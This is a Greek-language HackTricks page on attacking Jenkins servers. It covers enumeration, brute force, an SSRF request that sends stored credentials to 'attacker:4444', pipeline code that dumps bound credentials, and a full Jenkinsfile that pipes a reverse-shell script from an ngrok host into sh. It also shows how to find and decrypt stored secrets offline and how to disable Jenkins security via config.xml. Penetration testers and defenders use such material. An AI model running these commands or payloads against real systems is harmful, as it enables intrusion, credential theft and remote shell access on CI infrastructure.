Jenkins Ασφάλεια

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Βασικές Πληροφορίες

Το Jenkins είναι ένα εργαλείο που προσφέρει έναν απλό τρόπο για την εγκαθίδρυση ενός continuous integration ή continuous delivery (CI/CD) περιβάλλοντος για σχεδόν οποιονδήποτε συνδυασμό γλωσσών προγραμματισμού και αποθετηρίων πηγαίου κώδικα χρησιμοποιώντας pipelines. Επιπλέον, αυτοματοποιεί διάφορες ρουτινές εργασίες ανάπτυξης. Παρόλο που το Jenkins δεν καταργεί την ανάγκη δημιουργίας scripts για μεμονωμένα βήματα, παρέχει έναν ταχύτερο και πιο αξιόπιστο τρόπο να ενσωματώσετε ολόκληρη την αλληλουχία εργαλείων build, test και deployment από ό,τι μπορεί κανείς εύκολα να κατασκευάσει χειροκίνητα.

Basic Jenkins Information

Αναγνώριση χωρίς αυθεντικοποίηση

Για να αναζητήσετε ενδιαφέρουσες σελίδες του Jenkins χωρίς αυθεντικοποίηση, όπως (/people or /asynchPeople, αυτό εμφανίζει τους τρέχοντες χρήστες) μπορείτε να χρησιμοποιήσετε:

msf> use auxiliary/scanner/http/jenkins_enum

Ελέγξτε αν μπορείτε να εκτελέσετε εντολές χωρίς να απαιτείται πιστοποίηση:

msf> use auxiliary/scanner/http/jenkins_command

Without credentials μπορείτε να κοιτάξετε μέσα στη διαδρομή /asynchPeople/ ή /securityRealm/user/admin/search/index?q= για usernames.

You may be able to get the Jenkins version from the path /oops or /error

Γνωστές Ευπάθειες

GitHub - gquere/pwn_jenkins: Notes about attacking Jenkins servers \xc2\xb7 GitHub

Login

Στις βασικές πληροφορίες μπορείτε να ελέγξετε όλους τους τρόπους για login στο Jenkins:

Basic Jenkins Information

Register

Θα μπορείτε να βρείτε Jenkins instances που allow you to create an account and login inside of it. As simple as that.

SSO Login

Επίσης, αν SSO functionality/plugins ήταν παρόντα τότε θα πρέπει να προσπαθήσετε να log-in στην εφαρμογή χρησιμοποιώντας ένα test account (π.χ., ένα test Github/Bitbucket account). Trick from here.

Bruteforce

Jenkins lacks password policy and username brute-force mitigation. It’s essential to brute-force users since weak passwords or usernames as passwords may be in use, even reversed usernames as passwords.

msf> use auxiliary/scanner/http/jenkins_login

Password spraying

Χρησιμοποιήστε αυτό το python script ή αυτό το powershell script.

IP Whitelisting Bypass

Πολλές οργανώσεις συνδυάζουν SaaS-based source control management (SCM) systems όπως GitHub ή GitLab με μια internal, self-hosted CI λύση όπως Jenkins ή TeamCity. Αυτή η ρύθμιση επιτρέπει στα συστήματα CI να receive webhook events from SaaS source control vendors, κυρίως για την εκκίνηση pipeline jobs.

Για να γίνει αυτό, οι οργανώσεις whitelist τα IP ranges των SCM platforms, επιτρέποντάς τους να έχουν πρόσβαση στο internal CI system μέσω webhooks. Ωστόσο, είναι σημαντικό να σημειωθεί ότι anyone μπορεί να δημιουργήσει έναν account στο GitHub ή στο GitLab και να το ρυθμίσει να trigger a webhook, ενδεχομένως στέλνοντας αιτήματα στο internal CI system.

Δείτε: https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/

Εσωτερικές καταχρήσεις Jenkins

Σε αυτά τα σενάρια θα υποθέσουμε ότι έχετε έναν έγκυρο λογαριασμό για πρόσβαση στο Jenkins.

Warning

Ανάλογα με τον Authorization μηχανισμό που έχει ρυθμιστεί στο Jenkins και τα δικαιώματα του παραβιασμένου χρήστη, μπορεί να μπορείτε ή όχι να εκτελέσετε τις ακόλουθες επιθέσεις.

Για περισσότερες πληροφορίες δείτε τις βασικές πληροφορίες:

Basic Jenkins Information

Εμφάνιση χρηστών

Αν έχετε πρόσβαση στο Jenkins μπορείτε να δείτε άλλους εγγεγραμμένους χρήστες στο http://127.0.0.1:8080/asynchPeople/

Εξαγωγή builds για να βρεθούν μυστικά σε απλό κείμενο

Χρησιμοποιήστε αυτό το script για να εξάγετε τα console outputs των builds και τις μεταβλητές περιβάλλοντος των builds, ελπίζοντας να βρείτε μυστικά σε απλό κείμενο.

python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
cd build_dumps
gitleaks detect --no-git -v

FormValidation/TestConnection endpoints (CSRF to SSRF/credential theft)

Κάποια plugins εκθέτουν χειριστές Jelly validateButton ή test connection σε μονοπάτια όπως /descriptorByName/<Class>/testConnection. Όταν οι χειριστές δεν επιβάλλουν POST ή ελέγχους δικαιωμάτων, μπορείτε:

  • Switch POST to GET και να απορρίψετε το Crumb για να παρακάμψετε τους ελέγχους CSRF.
  • Trigger the handler ως low-priv/anonymous αν δεν υπάρχει έλεγχος Jenkins.ADMINISTER.
  • Κάντε CSRF έναν admin και αντικαταστήστε την παράμετρο host/URL για να exfiltrate credentials ή να ενεργοποιήσετε outbound calls.
  • Χρησιμοποιήστε τα σφάλματα απόκρισης (π.χ., ConnectException) ως SSRF/port-scan oracle.

Παράδειγμα GET (no Crumb) που μετατρέπει μια validation call σε SSRF/credential exfiltration:

GET /descriptorByName/jenkins.plugins.openstack.compute.JCloudsCloud/testConnection?endPointUrl=http://attacker:4444/&credentialId=openstack HTTP/1.1
Host: jenkins.local:8080

If the plugin reuses stored creds, Jenkins will attempt to authenticate to attacker:4444 and may leak identifiers or errors in the response. See: https://www.nccgroup.com/research-blog/story-of-a-hundred-vulnerable-jenkins-plugins/

Stealing SSH Credentials

Αν ο συμβιβασμένος χρήστης έχει enough privileges to create/modify a new Jenkins node και υπάρχουν ήδη αποθηκευμένα SSH credentials για πρόσβαση σε άλλους κόμβους, θα μπορούσε να steal those credentials δημιουργώντας/τροποποιώντας έναν node και setting a host that will record the credentials χωρίς να επαληθεύσει το host key:

Συνήθως θα βρείτε Jenkins SSH credentials σε έναν global provider (/credentials/), οπότε μπορείτε επίσης να τα dump όπως θα dump any other secret. Περισσότερες πληροφορίες στην Dumping secrets section.

RCE in Jenkins

Το να αποκτήσει κάποιος shell in the Jenkins server δίνει στον attacker τη δυνατότητα να leak όλα τα secrets και env variables και να exploit other machines που βρίσκονται στο ίδιο δίκτυο ή ακόμη και να gather cloud credentials.

Κατά προεπιλογή, το Jenkins θα run as SYSTEM. Επομένως, ο συμβιβασμός του θα δώσει στον attacker SYSTEM privileges.

RCE Creating/Modifying a project

Το Creating/Modifying a project είναι ένας τρόπος για να αποκτήσετε RCE στο Jenkins server:

Jenkins RCE Creating/Modifying Project

RCE Execute Groovy script

Μπορείτε επίσης να αποκτήσετε RCE εκτελώντας ένα Groovy script, το οποίο μπορεί να είναι πιο διακριτικό από τη δημιουργία ενός νέου project:

Jenkins RCE with Groovy Script

RCE Creating/Modifying Pipeline

Μπορείτε επίσης να αποκτήσετε RCE by creating/modifying a pipeline:

Jenkins RCE Creating/Modifying Pipeline

Pipeline Exploitation

Για να exploit pipelines χρειάζεται ακόμα να έχετε πρόσβαση στο Jenkins.

Build Pipelines

Pipelines μπορούν επίσης να χρησιμοποιηθούν ως build mechanism in projects, σε αυτή την περίπτωση μπορεί να διαμορφωθεί ένα file inside the repository που θα περιέχει τη σύνταξη του pipeline. Από προεπιλογή χρησιμοποιείται /Jenkinsfile:

Είναι επίσης δυνατό να store pipeline configuration files in other places (π.χ. σε άλλα repositories) με στόχο το separating του repository access και του pipeline access.

Αν ένας attacker έχει write access over that file θα μπορεί να το modify και potentially trigger το pipeline χωρίς καν να έχει πρόσβαση στο Jenkins. Είναι πιθανό ότι ο attacker θα χρειαστεί να bypass some branch protections (ανάλογα με την πλατφόρμα και τα user privileges αυτά μπορεί ή μπορεί να μην παρακαμφθούν).

The most common triggers to execute a custom pipeline are:

  • Pull request to the main branch (or potentially to other branches)
  • Push to the main branch (or potentially to other branches)
  • Update the main branch and wait until it’s executed somehow

Note

If you are an external user you shouldn’t expect to create a PR to the main branch of the repo of other user/organization and trigger the pipeline… but if it’s bad configured you could fully compromise companies just by exploiting this.

Pipeline RCE

Στην προηγούμενη ενότητα RCE είχε ήδη υποδειχθεί μια τεχνική για να get RCE modifying a pipeline.

Checking Env variables

Είναι δυνατόν να δηλώσετε clear text env variables για ολόκληρο το pipeline ή για συγκεκριμένα stages. Αυτές οι env variables shouldn’t contain sensitive info, αλλά ένας attacker θα μπορούσε πάντα να check all the pipeline configurations/Jenkinsfiles:

pipeline {
agent {label 'built-in'}
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {

Εξαγωγή μυστικών

Για πληροφορίες σχετικά με το πώς συνήθως χειρίζεται το Jenkins τα μυστικά, δείτε τις βασικές πληροφορίες:

Basic Jenkins Information

Τα διαπιστευτήρια μπορούν να είναι scoped to global providers (/credentials/) ή σε specific projects (/job/<project-name>/configure). Επομένως, για να εξαγάγετε όλα αυτά πρέπει να compromise τουλάχιστον όλα τα projects που περιέχουν μυστικά και να εκτελέσετε custom/poisoned pipelines.

Υπάρχει ένα ακόμα πρόβλημα: για να τοποθετηθεί ένα secret inside the env ενός pipeline πρέπει να γνωρίζετε το όνομα και τον τύπο του secret. Για παράδειγμα, αν προσπαθήσετε να load ένα usernamePassword secret ως string secret, θα λάβετε αυτό το error:

ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected

Εδώ έχετε τον τρόπο να φορτώσετε μερικούς κοινούς τύπους secret:

withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
sh '''
env #Search for USERNAME and PASS
'''
}

withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) {
sh '''
env #Search for SECRET
'''
}

withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) {
sh '''
env # Search for USERPASS
'''
}

# You can also load multiple env variables at once
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
env
'''
}

Στο τέλος αυτής της σελίδας μπορείτε να βρείτε όλα τα credential types: https://www.jenkins.io/doc/pipeline/steps/credentials-binding/

Warning

Ο καλύτερος τρόπος για να dump all the secrets at once είναι με το compromising της μηχανής Jenkins (π.χ. εκτελώντας ένα reverse shell στον built-in node) και στη συνέχεια leaking τα master keys και τα encrypted secrets και να τα αποκρυπτογραφήσετε offline.
Περισσότερα για το πώς να το κάνετε αυτό στην Nodes & Agents section και στην Post Exploitation section.

Triggers

From the docs: Η οδηγία triggers ορίζει τους αυτοματοποιημένους τρόπους με τους οποίους το Pipeline πρέπει να ξανα-προκληθεί. Για Pipelines που είναι ενσωματωμένα με μια πηγή όπως το GitHub ή το BitBucket, το triggers ενδέχεται να μην είναι απαραίτητο, καθώς η ενσωμάτωση με webhooks πιθανότατα υπάρχει ήδη. Οι triggers που είναι διαθέσιμες προς το παρόν είναι cron, pollSCM και upstream.

Cron example:

triggers { cron('H */4 * * 1-5') }

Δείτε άλλα παραδείγματα στην τεκμηρίωση.

Nodes & Agents

Μια Jenkins instance μπορεί να έχει διαφορετικούς agents που τρέχουν σε διαφορετικές μηχανές. Από την οπτική ενός attacker, η πρόσβαση σε διαφορετικές μηχανές σημαίνει διαφορετικά πιθανά cloud credentials για κλοπή ή διαφορετική πρόσβαση δικτύου που μπορεί να χρησιμοποιηθεί για να εκμεταλλευτεί άλλες μηχανές.

Για περισσότερες πληροφορίες δείτε τις βασικές πληροφορίες:

Basic Jenkins Information

Μπορείτε να απαριθμήσετε τους configured nodes στο /computer/, συνήθως θα βρείτε το **Built-In Node ** (το οποίο είναι ο κόμβος που τρέχει Jenkins) και πιθανώς περισσότερα:

Είναι ιδιαίτερα ενδιαφέρον να παραβιάσετε το Built-In node επειδή περιέχει ευαίσθητες πληροφορίες του Jenkins.

Για να υποδείξετε ότι θέλετε να run το pipeline στον built-in Jenkins node μπορείτε να ορίσετε μέσα στο pipeline την παρακάτω config:

pipeline {
agent {label 'built-in'}

Πλήρες παράδειγμα

Pipeline σε έναν συγκεκριμένο agent, με cron trigger, με pipeline και stage env variables, φορτώνοντας 2 variables σε ένα step και στέλνοντας ένα reverse shell:

pipeline {
agent {label 'built-in'}
triggers { cron('H */4 * * 1-5') }
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
'''
}
}
}

post {
always {
cleanWs()
}
}
}

Arbitrary File Read to RCE

Jenkins Arbitrary File Read to RCE via “Remember Me”

RCE

Jenkins RCE with Groovy Script

Jenkins RCE Creating/Modifying Project

Jenkins RCE Creating/Modifying Pipeline

Μετά την Εκμετάλλευση

Metasploit

msf> post/multi/gather/jenkins_gather

Jenkins Secrets

Μπορείτε να απαριθμήσετε τα secrets προσπελάζοντας /credentials/ αν έχετε αρκετά δικαιώματα. Σημειώστε ότι αυτό θα απαριθμήσει μόνο τα secrets μέσα στο αρχείο credentials.xml, αλλά τα build configuration files μπορεί επίσης να έχουν περισσότερα credentials.

Από Groovy

Jenkins Dumping Secrets from Groovy

Από το δίσκο

Αυτά τα αρχεία χρειάζονται για να αποκρυπτογραφήσετε τα Jenkins secrets:

  • secrets/master.key
  • secrets/hudson.util.Secret

Τέτοια secrets συνήθως βρίσκονται σε:

  • credentials.xml
  • jobs/…/build.xml
  • jobs/…/config.xml

Εδώ υπάρχει ένα regex για να τα βρείτε:

# Find the secrets
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Print only the filenames where the secrets are located
grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"

# Secret example
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>

Αποκρυπτογράφηση των μυστικών του Jenkins εκτός σύνδεσης

Αν έχετε εξάγει τους απαραίτητους κωδικούς για την αποκρυπτογράφηση των μυστικών, χρησιμοποιήστε αυτό το script για να αποκρυπτογραφήσετε αυτά τα μυστικά.

python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
06165DF2-C047-4402-8CAB-1C8EC526C115
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT

Αποκρυπτογράφηση μυστικών του Jenkins από Groovy

println(hudson.util.Secret.decrypt("{...}"))

Δημιουργία νέου admin χρήστη

  1. Πρόσβαση στο αρχείο Jenkins config.xml στο /var/lib/jenkins/config.xml ή C:\Program Files (x86)\Jenkis\
  2. Αναζητήστε τη λέξη <useSecurity>true</useSecurity>και αλλάξτε τη λέξη **true ** σε false.
  3. sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml
  4. Επανεκκινήστε τον Jenkins διακομιστή: service jenkins restart
  5. Τώρα πηγαίνετε ξανά στην πύλη Jenkins και ο Jenkins δεν θα ζητήσει διαπιστευτήρια αυτή τη φορά. Πλοηγηθείτε στο “Manage Jenkins” για να ορίσετε ξανά τον κωδικό διαχειριστή.
  6. Ενεργοποιήστε ξανά την ασφάλεια αλλάζοντας τις ρυθμίσεις σε <useSecurity>true</useSecurity> και επανεκκινήστε ξανά τον Jenkins.

Αναφορές

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks